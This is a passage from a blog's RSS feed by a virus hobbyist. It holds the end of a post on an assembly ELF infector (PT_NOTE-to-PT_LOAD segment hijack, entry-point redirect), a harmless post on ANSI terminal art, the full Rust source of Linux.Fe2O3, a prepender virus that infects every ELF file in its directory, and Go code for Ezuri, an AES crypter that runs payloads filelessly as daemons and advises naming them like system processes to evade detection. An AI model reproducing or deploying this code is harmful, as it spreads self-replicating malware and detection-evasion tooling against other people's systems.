 Append the virus code (v_stop - v_start) to the target end of file. These offsets will change during different virus executions, so I&amp;rsquo;m using an old technique that calculates the delta memory offset using the call instruction and the value of rbp during runtime  .infect: .get_target_phdr_file_offset: mov ax, bx ; loading phdr loop counter bx to ax mov dx, word [r15 &#43; 198] ; loading ehdr.phentsize from [r15 &#43; 198] to dx imul dx ; bx * ehdr.phentsize mov r14w, ax add r14, [r15 &#43; 176] ; r14 = ehdr.phoff &#43; (bx * ehdr.phentsize) .file_info: mov rdi, r9 mov rsi, r15 ; rsi = r15 = stack buffer address mov rax, SYS_FSTAT syscall ; stat.st_size = [r15 &#43; 48] .append_virus: ; getting target EOF mov rdi, r9 ; r9 contains fd mov rsi, 0 ; seek offset 0 mov rdx, SEEK_END mov rax, SYS_LSEEK syscall ; getting target EOF offset in rax push rax ; saving target EOF call .delta ; the age old trick .delta: pop rbp sub rbp, .delta ; writing virus body to EOF mov rdi, r9 ; r9 contains fd lea rsi, [rbp &#43; v_start] ; loading v_start address in rsi mov rdx, v_stop - v_start ; virus size mov r10, rax ; rax contains target EOF offset from previous syscall mov rax, SYS_PWRITE64 syscall cmp rax, 0 jbe .close_file  Patching the target PT_NOTE segment  Adjust its type, making it a PT_LOAD Change its flags (making it executable) Update its phdr.vaddr to point to the virus start (0xc000000 &#43; stat.st_size) Account for virus size on phdr.filesz and phdr.memsz Keep proper alignment   .patch_phdr: mov dword [r15 &#43; 208], PT_LOAD ; change phdr type in [r15 &#43; 208] from PT_NOTE to PT_LOAD (1) mov dword [r15 &#43; 212], PF_R or PF_X ; change phdr.flags in [r15 &#43; 212] to PF_X (1) | PF_R (4) pop rax ; restoring target EOF offeset into rax mov [r15 &#43; 216], rax ; phdr.offset [r15 &#43; 216] = target EOF offset mov r13, [r15 &#43; 48] ; storing target stat.st_size from [r15 &#43; 48] in r13 add r13, 0xc000000 ; adding 0xc000000 to target file size mov [r15 &#43; 224], r13 ; changing phdr.vaddr in [r15 &#43; 224] to new one in r13 (stat.st_size &#43; 0xc000000) mov qword [r15 &#43; 256], 0x200000 ; set phdr.align in [r15 &#43; 256] to 2mb add qword [r15 &#43; 240], v_stop - v_start &#43; 5 ; add virus size to phdr.filesz in [r15 &#43; 240] &#43; 5 for the jmp to original ehdr.entry add qword [r15 &#43; 248], v_stop - v_start &#43; 5 ; add virus size to phdr.memsz in [r15 &#43; 248] &#43; 5 for the jmp to original ehdr.entry ; writing patched phdr mov rdi, r9 ; r9 contains fd mov rsi, r15 ; rsi = r15 = stack buffer address lea rsi, [r15 &#43; 208] ; rsi = phdr = [r15 &#43; 208] mov dx, word [r15 &#43; 198] ; ehdr.phentsize from [r15 &#43; 198] mov r10, r14 ; phdr from [r15 &#43; 208] mov rax, SYS_PWRITE64 syscall cmp rax, 0 jbe .close_file  Patching the ELF header  Save original entrypoint for later in r14 Update entrypoint to be the same as the patched segment virtual address (phdr.vaddr) Add infection marker string to ehdr.pad   .patch_ehdr: ; patching ehdr mov r14, [r15 &#43; 168] ; storing target original ehdr.entry from [r15 &#43; 168] in r14 mov [r15 &#43; 168], r13 ; set ehdr.entry in [r15 &#43; 168] to r13 (phdr.vaddr) mov r13, 0x005a4d54 ; loading virus signature into r13 (TMZ in little-endian) mov [r15 &#43; 152], r13 ; adding the virus signature to ehdr.pad in [r15 &#43; 152] ; writing patched ehdr mov rdi, r9 ; r9 contains fd lea rsi, [r15 &#43; 144] ; rsi = ehdr = [r15 &#43; 144] mov rdx, EHDR_SIZE ; ehdr.size mov r10, 0 ; ehdr.offset mov rax, SYS_PWRITE64 syscall cmp rax, 0 jbe .close_file Those who don&amp;rsquo;t jump will never fly Deep, right? That&amp;rsquo;s exacly what we got to do, jump back to the original target entrypoint to continue the host execution.
We&amp;rsquo;ll use a relative jump, which is represented by the e9 opcode with a with a 32 bit offset, making the whole instruction 5 bytes long (e9 00 00 00 00).
To create this instruction, we use the following formula, considering the patched phdr.vaddr from before:
newEntryPoint = originalEntryPoint - (phdr.vaddr &#43; 5) - virus_size  There&amp;rsquo;s no secret here, we need to write this instruction to the very end of the file, after the recenty added virus body.
.write_patched_jmp: ; getting target new EOF mov rdi, r9 ; r9 contains fd mov rsi, 0 ; seek offset 0 mov rdx, SEEK_END mov rax, SYS_LSEEK syscall ; getting target EOF offset in rax ; creating patched jmp mov rdx, [r15 &#43; 224] ; rdx = phdr.vaddr add rdx, 5 sub r14, rdx sub r14, v_stop - v_start mov byte [r15 &#43; 300 ], 0xe9 mov dword [r15 &#43; 301], r14d ; writing patched jmp to EOF mov rdi, r9 ; r9 contains fd lea rsi, [r15 &#43; 300] ; rsi = patched jmp in stack buffer = [r15 &#43; 208] mov rdx, 5 ; size of jmp rel mov r10, rax ; mov rax to r10 = new target EOF mov rax, SYS_PWRITE64 syscall cmp rax, 0 jbe .close_file mov rax, SYS_SYNC ; commiting filesystem caches to disk syscall Payload&amp;rsquo;s on the way We&amp;rsquo;re almost done here, phew! The final bits of code will take care of displaying the text payload to the screen.
 We check if it&amp;rsquo;s the virus first run (which means it&amp;rsquo;s not running from inside an infected file) and in case this is true, we print a message to the screen and exit If not the first run, we print a different message to the screen, which is encoded using xor and add instructions. The purpose of this was to prevent the string from showing up in the binary as plain text  cmp byte [r15 &#43; 3000], FIRST_RUN ; checking if custom control flag we set earlier indicates virus first execution jnz infected_run ; if control flag != 1, it should be running from an infected file, use normal payload call show_msg ; if control flag == 1, assume virus is being executed for the first time and display a different message info_msg: db &amp;#39;Midrashim by TMZ (c) 2020&amp;#39;, 0xa ; not the nicest approach like I mentioned before but quick to implement info_len = $-info_msg show_msg: pop rsi ; info_msg address to rsi mov rax, SYS_WRITE mov rdi, STDOUT ; display payload mov rdx, info_len syscall jmp cleanup ; cleanup and exit infected_run: ; 1337 encoded payload, very hax0r call payload msg: ; payload first part db 0x59, 0x7c, 0x95, 0x95, 0x57, 0x9e, 0x9d, 0x57 db 0xa3, 0x9f, 0x92, 0x57, 0x93, 0x9e, 0xa8, 0xa3 db 0x96, 0x9d, 0x98, 0x92, 0x57, 0x7e, 0x57, 0x98 db 0x96, 0x9d, 0x57, 0xa8, 0x92, 0x92, 0x57, 0x96 ... len = $-msg payload: pop rsi ; setting up decoding loop mov rcx, len lea rdi, [r15 &#43; 3001] .decode: lodsb ; load byte from rsi into al sub al, 50 ; decoding it xor al, 5 stosb ; store byte from al into rdi loop .decode ; sub 1 from rcx and continue loop until rcx = 0 lea rsi, [r15 &#43; 3001] ; decoded payload is at [r15 &#43; 3000] mov rax, SYS_WRITE mov rdi, STDOUT ; display payload mov rdx, len syscall Demo 
Outro This ended up being one of my longest projects. I remember coming back to it multiple times during a period of months, sometimes because I was stuck and had to do research and, other times, the Assembly logic fell into oblivion and took me a moment to get back on track with my thoughts.
Many consider Assembly and ELF injection an art form (myself included) and over the decades, new techniques were developed and improved. It&amp;rsquo;s essential to talk about these and share the knowledge in order to improve the detection of threat actors, which are starting to realize more and more that Linux seems to not be yet a priority of security companies.
In the end, it was one of the most fun and rewarding codes I ever wrote, albeit not really being one of the best.
TMZ
]]></content:encoded>
    </item>
    <item>
      <title>Having fun with ANSI codes and x64 Linux Assembly</title>
      <link>https://www.guitmz.com/having-fun-with-ansi-codes-and-x64-linux-assembly/</link>
      <pubDate>Sun, 27 Dec 2020 09:04:08 UT</pubDate>
      <dc:creator>Guilherme Thomazi</dc:creator>
      <guid>https://www.guitmz.com/having-fun-with-ansi-codes-and-x64-linux-assembly/</guid>
      <description>Overview How can one not find command line art amusing? Specially when we are talking about computer viruses and even more so when referencing MS-DOS ones. The 16 bit era gave us some of the most interesting computer virus payloads of all time, but achieving something like this today is not as &amp;ldquo;trivial&amp;rdquo; anymore.
As Linux is my OS of choice, I wanted to find something that could get close to these MS-DOS fun payloads for my own modern viruses, and, while it&amp;rsquo;s possible to write directly to the framebuffer, I wanted to try something related to terminal emulators instead.</description>
      <category domain="https://www.guitmz.com/categories/technology">Technology</category>
      <content:encoded><![CDATA[ Overview How can one not find command line art amusing? Specially when we are talking about computer viruses and even more so when referencing MS-DOS ones. The 16 bit era gave us some of the most interesting computer virus payloads of all time, but achieving something like this today is not as &amp;ldquo;trivial&amp;rdquo; anymore.
As Linux is my OS of choice, I wanted to find something that could get close to these MS-DOS fun payloads for my own modern viruses, and, while it&amp;rsquo;s possible to write directly to the framebuffer, I wanted to try something related to terminal emulators instead. Enter ANSI escape sequences.
How it works  ANSI escape sequences are a standard for in-band signaling to control cursor location, color, font styling, and other options on video text terminals and terminal emulators. Certain sequences of bytes, most starting with an ASCII Escape and bracket character followed by parameters, are embedded into text. The terminal interprets these sequences as commands, rather than text to display verbatim.
ANSI sequences were introduced in the 1970s to replace vendor-specific sequences and became widespread in the computer equipment market by the early 1980s. They are used in development, scientific, commercial text-based applications as well as bulletin board systems to offer standardized functionality.
Read more: https://en.wikipedia.org/wiki/ANSI_escape_code
 Lots and lots of things you use daily are probably using ANSI escape codes, every time you see colored text on your terminal. Text-based user interfaces, a.k.a TUIs need these control codes to &amp;ldquo;draw&amp;rdquo; what you see on your screen.
ESC is represented by the well known 0x1b control byte and the usage is as simple as using printf or echo to write the codes to STDOUT (keep in mind that the terminal you are using must support the ANSI sequences, look for termcap , terminfo and infocmp if you need).
There are some very good references for ANSI escape codes around the web, like the one at Bash Hackers Wiki.
Code While ANSI sequences are rather easy to use in any modern programming language, the same cannot be said for Assembly, mainly because the manual work involved when dealing with strings (I&amp;rsquo;m talking about pure Assembly, without including any external functions like printf and without invoking tput).
Note that my code currently relies on ioctl Linux system call to manipulate special files (like terminals) but termios would be a better approach here instead and I have kept ioctl because I wanted to re-use some old code snippet I wrote long time ago, before I knew about termios. I imagine it should be fairly easy to make the change if you want to and I plan to do it in the future.
From ioctl_tty man page:
Use of ioctl makes for nonportable programs. Use the POSIX interface described in termios(3) whenever possible.  A little helper program written in C like the one below can be used display the terminal dimensions (rows and columns) with ioctl:
#include &amp;lt;sys/ioctl.h&amp;gt;#include &amp;lt;stdio.h&amp;gt;#include &amp;lt;unistd.h&amp;gt; int main (void) { struct winsize ws; ioctl (STDIN_FILENO, TIOCGWINSZ, &amp;amp;ws); printf (&amp;#34;lines %d\n&amp;#34;, ws.ws_row); printf (&amp;#34;columns %d\n&amp;#34;, ws.ws_col); return 0; } Anyway, the example application I wrote will do the following:
 Save current terminal buffer (ESC[?1049h) Clear screen (ESC[2J) Invoke ioctl syscall to retrieve current window dimensions (rows and columns) Use of the result from ioctl and perform some math to create a cursor, setting its rows and columns (x, y) position to more or less the center of the screen (ESC[x;yH) Loop using nanosleep and write syscalls to simulate a typewriter effect while we write our message to the screen, byte by byte, including any extra ANSI sequences for formatting  You can find the full commented source code with further instructions, all auxiliar functions and variable declarations on GitHub but let&amp;rsquo;s go over the mentioned key steps above to understand it better.
 Saving current terminal buffer by writting ESC[?1049h (represented by save_buffer) to STDOUT  lea rsi, [save_buffer] ; loading rsi with ANSI code that saves current terminal buffer mov rdx, save_buffer_size ; loading rdx with save ANSI code size mov rdi, STDOUT mov rax, SYS_WRITE syscall ; saving current terminal  Clearing the screen by writting ESC[2J (represented by clear_screen) to STDOUT  lea rsi, [clear_screen] ; loading rsi with ANSI code that clears screen mov rdx, clear_screen_size ; loading rdx with clear screen ANSI code size mov rdi, STDOUT mov rax, SYS_WRITE syscall ; clearing the screen  Invoking ioctl syscall to retrieve terminal window size (this approach is not always guaranteed to give results and it&amp;rsquo;s safer to use it in conjunction to a lookup in the termcap database).  xor rdi, rdi ; this means fd will be STDIN (same as &amp;#34;mov rdi, STDIN&amp;#34;) mov rsi, TIOCGWINSZ ; ioctl command to get window size mov rdx, winsz ; winsz struct will contain terminal size information mov rax, SYS_IOCTL syscall call create_cursor ; creating ANSI code that moves to proper coordinates (result format: &amp;#34;ESC[x;yH&amp;#34;) ​ It will populate winsz struct with the result values. More information on the TIOCGWINSZ command can be found here
struct WINSZ .ws_row dw ? ; rows, in characters .ws_col dw ? ; columns, in characters .ws_xpixel dw ? ; horizontal size, pixels .ws_ypixel dw ? ; vertical size, pixels ends  Creating the initial cursor we will use as starting point to write our message. Basically we divide the screen rows and columns by 3 in order to get a nice centralized final output. Feel free to play around with this denominator for different results. The function below will construct the ESC[x;yH string into cursor_buffer and replace x and y with the result of our small division, rounding up if needed  create_cursor: lea rdi, [cursor_buffer] ; loading [cursor_buffer] into rdi mov byte [rdi], ESC ; the &amp;#39;ESC&amp;#39; character inc rdi ; advance [cursor_buffer] mov byte [rdi], 0x5b ; the &amp;#39;[&amp;#39; character inc rdi ; advance [cursor_buffer] mov rcx, 3 ; loading denominator into rax mov r8w, [winsz.ws_row] ; loading numerator (X axis = rows) into r8w call divideRoundUp ; dividing r8w/rcx with result in rax cmp ax, [previous_axisX] ; comparing X axis with previous X axis (zero during the first run) je .bad_axisX ; if current X axis = previous X axis, we should recalculate it jg .all_good ; else, we continue normally .bad_axisX: inc [winsz.ws_row] ; increasing current X axis as its the same as previous one (same cursor position not allowed)  jmp create_cursor ; recreating cursor ANSI escape code with proper coordinates .all_good: mov [previous_axisX], ax ; save X axis after dividing and rounding up into [previous_axisX] mov rdx, rax ; loading X axis into rdx call convertStoreAxis ; converting X axis to ascii and storing in rdi (at current buffer position) mov byte [rdi], 0x3b ; the &amp;#39;;&amp;#39; character  inc rdi ; advance [cursor_buffer] mov rcx, 3 ; loading denominator into rax mov r8w, [winsz.ws_col] ; loading numerator (columns) into r8w call divideRoundUp ; dividing r8w/rcx with result in rax mov rdx, rax ; loading Y axis into rdx call convertStoreAxis ; converting Y axis to ascii and storing in rdi (at current buffer position) mov byte [rdi], 0x48 ; the &amp;#39;H&amp;#39; character lea rdi, [cursor_buffer] ; loading rdi with ANSI code that moves cursor (&amp;#34;ESC[x;yH&amp;#34;) call strLen ; calculating code lenght from [cursor_buffer], result in rax ret  Now that we have the calculated cursor_buffer, we need to write it to STDOUT, which will move our cursor to the desired coordinates  lea rsi, [cursor_buffer] ; loading rsi with ANSI code that moves cursor mov rdx, rax ; loading rdx with proper code length (without trailing null character) mov rdi, STDOUT mov rax, SYS_WRITE ; in this program, the cursor will be set to the center of the screen syscall ; moving cursor to (x, y)  What&amp;rsquo;s left now is to actually write our message to the screen, remember we are using nanosleep syscall to add some delay achieve a typewriter effect, so we will loop through our message byte by byte and write each byte to STDOUT. We also have to keep generating cursors with new (x, y) coordinates to move the input position around like a typewriter would (we can use create_cursor function again for that).  struct TIMESPEC .tv_sec dq 0 ; seconds to sleep .tv_nsec dq 060000000 ; nanoseconds to sleep ends .outputLoop: push rcx ; saving msg_size in stack because syscall overwrites it lea rsi, [msg &#43; rbx] ; loading rsi with msg[rbx] character mov rdx, 1 ; length (rdx) is 1 since we are outputting a single byte at a time mov rdi, STDOUT mov rax, SYS_WRITE syscall ; prints msg[rbx] to STDOUT cmp byte [rsi], 0xa ; checking if current character is new line (\n) jne .continue ; if not, skip .moveCursor and continue .moveCursor: inc [winsz.ws_row] ; incrementing X axis to account for new line call create_cursor ; creating new ANSI code to move cursor to new coordinates lea rsi, [cursor_buffer] ; loading rsi with ANSI code that moves cursor mov rdx, rax ; loading rdx with proper code length (without trailing null character) mov rdi, STDOUT mov rax, SYS_WRITE syscall ; moving cursor to (x, y) .continue: mov rdi, delay ; loading rdi with delay struct that contains seconds and nanoseconds to sleep xor rsi, rsi ; zeroing rsi because its not being used at this time mov rax, SYS_NANOSLEEP ; since it would contain the remaining time of the sleep in case command is interrupted syscall ; sleeping for the amount of time configured in delay struct pop rcx ; restoring msg_size from stack into rcx inc rbx ; incrementing rbx index loop .outputLoop ; repeat until whole msg is outputted  And finally we finish by adding a simple readline, prompting the user to press a key before we restore the original terminal session we saved in the beginning of our program  readline: lea rsi, [exit_msg] ; loading rsi formatted exit message with some included ANSI codes mov rdx, exit_msg_size ; loading rdx with exit message size mov rdi, STDOUT mov rax, SYS_WRITE syscall ; write exit message to the screen mov rdi, STDIN mov rdx, 1 mov rax, SYS_READ ; reading a single char from STDIN before restoring previous terminal buffer syscall ; pausing execution in the meantime restoreTerminal: lea rsi, [restore_buffer] ; loading rsi with ANSI code to restore previous terminal buffer mov rdx, restore_buffer_size ; loading rdx with restore ANSI code size mov rdi, STDOUT mov rax, SYS_WRITE syscall ; restoring previous terminal (from before running this program) Demo 
As we can see, using ANSI sequences with Linux Assembly can be a bit challenging, but can also produce very interesting results that might bring back that MS-DOS (albeit not in its full glory) era nostalgia on my future projects.
TMZ
]]></content:encoded>
    </item>
    <item>
      <title>Linux.Fe2O3: a Rust virus</title>
      <link>https://www.guitmz.com/linux-fe2o3-rust-virus/</link>
      <pubDate>Fri, 06 Sep 2019 13:35:51 UT</pubDate>
      <dc:creator>Guilherme Thomazi</dc:creator>
      <guid>https://www.guitmz.com/linux-fe2o3-rust-virus/</guid>
      <description>Overview Everytime I try to learn a new programming language, I try by port my prependers (Linux.Zariche, Linux.Liora, Linux.Cephei). Despite the code simplicity , it gives me the chance to understand very useful things in a language, like error handling, file i/o, encryption, memory and a few of its core libraries.
This time, Rust is the language and I must say that I was impressed by its compiler and error handling, but the syntax is still not 100% clear to me (as you can see from my rudimentar code in Linux.</description>
      <category domain="https://www.guitmz.com/categories/technology">Technology</category>
      <content:encoded><![CDATA[ Overview Everytime I try to learn a new programming language, I try by port my prependers (Linux.Zariche, Linux.Liora, Linux.Cephei). Despite the code simplicity , it gives me the chance to understand very useful things in a language, like error handling, file i/o, encryption, memory and a few of its core libraries.
This time, Rust is the language and I must say that I was impressed by its compiler and error handling, but the syntax is still not 100% clear to me (as you can see from my rudimentar code in Linux.Fe2O3) and I wish it had a built-in random library too. This code was written in less than 2 days, of course its not pretty, has lots of .unwrap() (already got great input from some people on Reddit to help me with that, will be addressed) so I apologise in advance.
Like usual, Linux.Fe2O3 is an ELF prepender, which infects files in the current directory. It&amp;rsquo;s not harmful (no destructive payload), samples were distributed to major AntiVirus companies and there&amp;rsquo;s really no fancy techniques implemented (although I wish I had implemented execution using the memfd_create syscall but apparently Rust has no native way of calling syscalls besides using inline assembly, which I didn&amp;rsquo;t wanted to do in this project).
A few bugs were corrected from my previous Vala, Go and Nim viruses and less issues are to be expected with this version. It was tested on Gentoo and CentOS (both 64-bit, but can probably work in 32-bit systems too if Rust doesn&amp;rsquo;t complain about variable types or things like that, but I don&amp;rsquo;t really care for 32-bit systems anymore).
As for the name, Fe2O3 is the chemical formula of Rust, so I thought it was a good fit here.
How it works A prepender works by appending its code to the start of the host file and during execution it runs itself and the host file (non destructive). It&amp;rsquo;s one of the simplest methods of infection available, easy to code and understand. In this case, the host code is encrypted with a simple XOR function just because and decrypted at runtime, dumped into a file (/tmp/host), which is then executed and deleted after the virus finishes its own shenanigans.
I don&amp;rsquo;t like dropping files into the filesystem very much, thats why I wanted to run it from memory using a memory file descriptor but lets leave this to another day.
Code Here&amp;rsquo;s the full code (also available in my GitHub with further files and instructions):
usestd::ffi::{OsStr,OsString};usestd::fs::File;usestd::io::prelude::*;usestd::io::{Read,SeekFrom,Write};usestd::os::unix::fs::OpenOptionsExt;usestd::process::Command;usestd::{env,fs,process};constELF_MAGIC: &amp;amp;[u8;4]=&amp;amp;[0x7f,0x45,0x4c,0x46];// b&amp;#34;\x7FELF&amp;#34; constINFECTION_MARK: &amp;amp;[u8;5]=&amp;amp;[0x40,0x54,0x4d,0x5a,0x40];// @TMZ@ constXOR_KEY: &amp;amp;[u8;5]=&amp;amp;[0x46,0x65,0x32,0x4f,0x33];// Fe2O3 constVIRUS_SIZE: u64 =2696040;fn payload(){println!(&amp;#34;Rusting is a chemical reaction of iron in the presence of oxygen. Common sheet metal rusting in dry air works like this: 4 Fe &#43; 3 O2 --&amp;gt; 2 Fe2O3. This reaction is relatively slow and produces a thin coating of stable iron oxide Fe2O3, which is (technically) rust, but is a fairly benign form of rust.&amp;#34;)}fn get_file_size(path: &amp;amp;OsStr)-&amp;gt; u64 {letmetadata=fs::metadata(&amp;amp;path).unwrap();returnmetadata.len();}fn read_file(path: &amp;amp;OsStr)-&amp;gt; Vec&amp;lt;u8&amp;gt;{letmutbuf=Vec::new();letmutf=File::open(path).unwrap();f.read_to_end(&amp;amp;mutbuf).unwrap();returnbuf;}fn xor_enc_dec(input: Vec&amp;lt;u8&amp;gt;)-&amp;gt; Vec&amp;lt;u8&amp;gt;{letmutoutput=vec![0;input.len()];forxin0..input.len(){output[x]=input[x]^XOR_KEY[x%XOR_KEY.len()];}returnoutput;}fn is_elf(path: &amp;amp;OsStr)-&amp;gt; bool {letmutident=[0;4];letmutf=File::open(path).unwrap();f.read(&amp;amp;mutident).unwrap();if&amp;amp;ident==ELF_MAGIC{// this will work for PIE executables as well returntrue;// but can fail for shared libraries during execution }returnfalse;}fn is_infected(path: &amp;amp;OsStr)-&amp;gt; bool {letfile_size: usize =get_file_size(path)asusize;letbuf=read_file(path);forxin1..file_size{if&amp;amp;buf[x]==&amp;amp;INFECTION_MARK[0]{foryin1..INFECTION_MARK.len(){if(x&#43;y)&amp;gt;=file_size{break;}if&amp;amp;buf[x&#43;y]!=&amp;amp;INFECTION_MARK[y]{break;}ify==INFECTION_MARK.len()-1{returntrue;}}}}returnfalse;}fn infect(virus: &amp;amp;OsString,target: &amp;amp;OsStr){lethost_buf=read_file(target);letmutencrypted_host_buf=xor_enc_dec(host_buf);letmutvirus_buf=vec![0;VIRUS_SIZEasusize];letmutf=File::open(virus).unwrap();f.read_exact(&amp;amp;mutvirus_buf).unwrap();letmutinfected=File::create(target).unwrap();infected.write_all(&amp;amp;mutvirus_buf).unwrap();infected.write_all(&amp;amp;mutencrypted_host_buf).unwrap();infected.sync_all().unwrap();infected.flush().unwrap();}fn run_infected_host(path: &amp;amp;OsString){letmutencrypted_host_buf=Vec::new();letmutinfected=File::open(path).unwrap();letplain_host_path=&amp;#34;/tmp/host&amp;#34;;letmutplain_host=fs::OpenOptions::new().create(true).write(true).mode(0o755).open(plain_host_path).unwrap();infected.seek(SeekFrom::Start(VIRUS_SIZE)).unwrap();infected.read_to_end(&amp;amp;mutencrypted_host_buf).unwrap();drop(infected);letmutdecrypted_host_buf=xor_enc_dec(encrypted_host_buf);plain_host.write_all(&amp;amp;mutdecrypted_host_buf).unwrap();plain_host.sync_all().unwrap();plain_host.flush().unwrap();drop(plain_host);Command::new(plain_host_path).status().unwrap();fs::remove_file(plain_host_path).unwrap();}fn main(){letargs: Vec&amp;lt;String&amp;gt;=env::args().collect();letmyself=OsString::from(&amp;amp;args[0]);letcurrent_dir=env::current_dir().unwrap();forentryinfs::read_dir(current_dir).unwrap(){letentry=entry.unwrap();letpath=entry.path();letmetadata=fs::metadata(&amp;amp;path).unwrap();ifmetadata.is_file(){letentry_name=path.file_name().unwrap();ifmyself==entry_name{continue;}ifis_elf(entry_name){if!is_infected(entry_name){infect(&amp;amp;myself,entry_name);}}}}ifget_file_size(&amp;amp;myself)&amp;gt;VIRUS_SIZE{payload();run_infected_host(&amp;amp;myself);}else{process::exit(0)}} A little payload message is included too:
 Rusting is a chemical reaction of iron in the presence of oxygen. Common sheet metal rusting in dry air works like this: 4 Fe &#43; 3 O2 -- 2 Fe2O3. This reaction is relatively slow and produces a thin coating of stable iron oxide Fe2O3, which is (technically) rust, but is a fairly benign form of rust.   A binary sample is also available here with SHA1 c185ab0fd9b1c8f3ddaed7079898383edbcbb7f7.
 $ file Linux.Fe2O3 Linux.Fe2O3: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, with debug_info, not stripped   Demo 
I have high hopes for Rust. Recently it was discussed that it could be used to write Linux kernel modules (only C is available for that now), which is a huge deal. The syntax somewhat throws me off a bit but that&amp;rsquo;s because I&amp;rsquo;m not used to it, I&amp;rsquo;m sure I can easily overcome this with time. All in all, this was a fun project.
]]></content:encoded>
    </item>
    <item>
      <title>Linux ELF Runtime Crypter</title>
      <link>https://www.guitmz.com/linux-elf-runtime-crypter/</link>
      <pubDate>Fri, 26 Apr 2019 10:31:20 UT</pubDate>
      <dc:creator>Guilherme Thomazi</dc:creator>
      <guid>https://www.guitmz.com/linux-elf-runtime-crypter/</guid>
      <description>&#34;Even for Elves, they were stealthy little twerps. They&#39;d taken our measure before we&#39;d even seen them.&#34; — Marshall Volnikov  Last month I wrote a post about the memfd_create syscall and left some ideas in the end. Today I&amp;rsquo;m here to show an example of such ideas implemented in an ELF runtime crypter (kinda lame, I know, but good for this demonstration).
What is it? Glad you asked.</description>
      <category domain="https://www.guitmz.com/categories/technology">Technology</category>
      <content:encoded><![CDATA[ 
&#34;Even for Elves, they were stealthy little twerps. They&#39;d taken our measure before we&#39;d even seen them.&#34; — Marshall Volnikov  Last month I wrote a post about the memfd_create syscall and left some ideas in the end. Today I&amp;rsquo;m here to show an example of such ideas implemented in an ELF runtime crypter (kinda lame, I know, but good for this demonstration).
What is it? Glad you asked. Ezuri is a small Go crypter that uses AES to encrypt a given file and merges it with a stub that will decrypt and execute the file from memory (using the previously mentioned memfd_create syscall). My original goal was to write it in Assembly but that would require more time so it is a task for the future.
It will also do some basic tricks during the process execution, making it a little bit harder to be detected by an inexperienced eye. The main trick consists on daemonizing the process, detaching it from a tty, having it to run in the background (and as I said, from memory). If you are not familiar with daemons, you can find more information here.
As usual, the full source code with more instructions can be found in my GitHub: https://github.com/guitmz/ezuri
It&amp;rsquo;s also worth mentioning that it ONLY works on 64 bits Linux systems, but you can easily adapt the code if necessary, I&amp;rsquo;m just lazy.
Where the magic happens Remember this function from my last post?
func runFromMemory(displayName string, filePath string) { fdName := &amp;#34;&amp;#34; // *string cannot be initialized 	fd, _, _ := syscall.Syscall(memfdCreate, uintptr(unsafe.Pointer(&amp;amp;fdName)), uintptr(mfdCloexec), 0) buffer, _ := ioutil.ReadFile(filePath) _, _ = syscall.Write(int(fd), buffer) fdPath := fmt.Sprintf(&amp;#34;/proc/self/fd/%d&amp;#34;, fd) _ = syscall.Exec(fdPath, []string{displayName}, nil) } That&amp;rsquo;s right, with some small adjustments, we can achieve our goal of running the target executable as a daemon:
func runFromMemory(procName string, buffer []byte) { fdName := &amp;#34;&amp;#34; // *string cannot be initialized  fd, _, _ := syscall.Syscall(memfdCreateX64, uintptr(unsafe.Pointer(&amp;amp;fdName)), uintptr(mfdCloexec), 0) _, _ = syscall.Write(int(fd), buffer) fdPath := fmt.Sprintf(&amp;#34;/proc/self/fd/%d&amp;#34;, fd) switch child, _, _ := syscall.Syscall(fork, 0, 0, 0); child { case 0: break case 1: // Fork failed! 	break default: // Parent exiting... 	os.Exit(0) } _ = syscall.Umask(0) _, _ = syscall.Setsid() _ = syscall.Chdir(&amp;#34;/&amp;#34;) file, _ := os.OpenFile(&amp;#34;/dev/null&amp;#34;, os.O_RDWR, 0) syscall.Dup2(int(file.Fd()), int(os.Stdin.Fd())) file.Close() _ = syscall.Exec(fdPath, []string{procName}, nil) } No proper error handling at this time (told you I was lazy).
You will need Go and GCC installed and configured in your machine to proceed with the next section if you want to try Ezuri yourself.
See it in action Let&amp;rsquo;s see this thing working then. A small C program will be used as a target executable here. The program will write a little demon into a file named log.txt in the current directory every second for as long as it&amp;rsquo;s running, because we are dealing with daemons! Got it? Demon, daemon&amp;hellip;
Bad jokes aside, here&amp;rsquo;s the code:
#include &amp;lt;stdio.h&amp;gt; int main(int argc, char ** argv) { FILE * fp = fopen(&amp;#34;/tmp/log.txt&amp;#34;, &amp;#34;w&#43;&amp;#34;); while (1) { sleep(1); fprintf(fp, &amp;#34;I always wanted to be a DAEMON!\n&amp;#34;); fprintf(fp, &amp;#34; |\\___/|\n&amp;#34;); fprintf(fp, &amp;#34; / \\\n&amp;#34;); fprintf(fp, &amp;#34;| /\\__/|\n&amp;#34;); fprintf(fp, &amp;#34;||\\&amp;lt;.&amp;gt;&amp;lt;.&amp;gt;\n&amp;#34;); fprintf(fp, &amp;#34;| _ &amp;gt; )\n&amp;#34;); fprintf(fp, &amp;#34; \\/----\n&amp;#34;); fprintf(fp, &amp;#34; | -\\/\n&amp;#34;); fprintf(fp, &amp;#34; / \\\n\n&amp;#34;); fprintf(fp, &amp;#34;Wait, something is not right...\n&amp;#34;); fflush(fp); } fclose(fp); return 0; } Building demon.c: $ gcc demon.c -o demon  We should also build Ezuri, running the following from inside of the folder that contains its source code: $ go build -o ezuri .  The stub will be compiled during the crypter execution. After you enter your desired parameters like below:  $ ./ezuri [?] Path of file to be encrypted: demon [?] Path of output (encrypted) file: cryptedDemon [?] Name of the target process: DEMON [?] Encryption key (32 bits - random if empty): [?] Encryption IV (16 bits - random if empty): [!] Random encryption key (used in stub): R@7ya3fo1#y67rCtNOYwpm5lyOA5xeYY [!] Random encryption IV (used in stub): 5Ti65dgBKidm5%sA [!] Generating stub...   I chose to let Ezuri generate a encryption key for me but feel free to enter your own if you wish.
Now you should have a file named cryptedDemon in your current directory. This file contains the stub &#43; demon (encrypted) executables (in this order, actually).
Execute cryptedDemon and inspect its process:  $ ./cryptedDemon $ ps -f $(pidof DEMON) UID PID PPID C STIME TTY STAT TIME CMD guitmz 18607 1 0 18:11 ? Ss 0:00 DEMON   Note that this time, you have ? for the tty, which means that the process is detached from any terminals and running in the background.
If you check /tmp/log.txt file, you should see a bunch of little demons being inserted into the file like this:  $ tailf /tmp/log.txt I always wanted to be a DAEMON! |\___/| / \ | /\__/| ||\  | _  ) \ /---- | -\/ / \ Wait, something is not right...   Finally, don&amp;rsquo;t forget to kill your test process: $ kill $(pidof DEMON)  Final thoughts If you give your process a proper name (something related to an actual Linux process, like firewalld, apparmor or even xorg), it can be difficult to spot your executable.
Additionally, further work on this project can make it even more realiable (for example, making reverse engineering of your commercial software more difficult). A few thoughts:
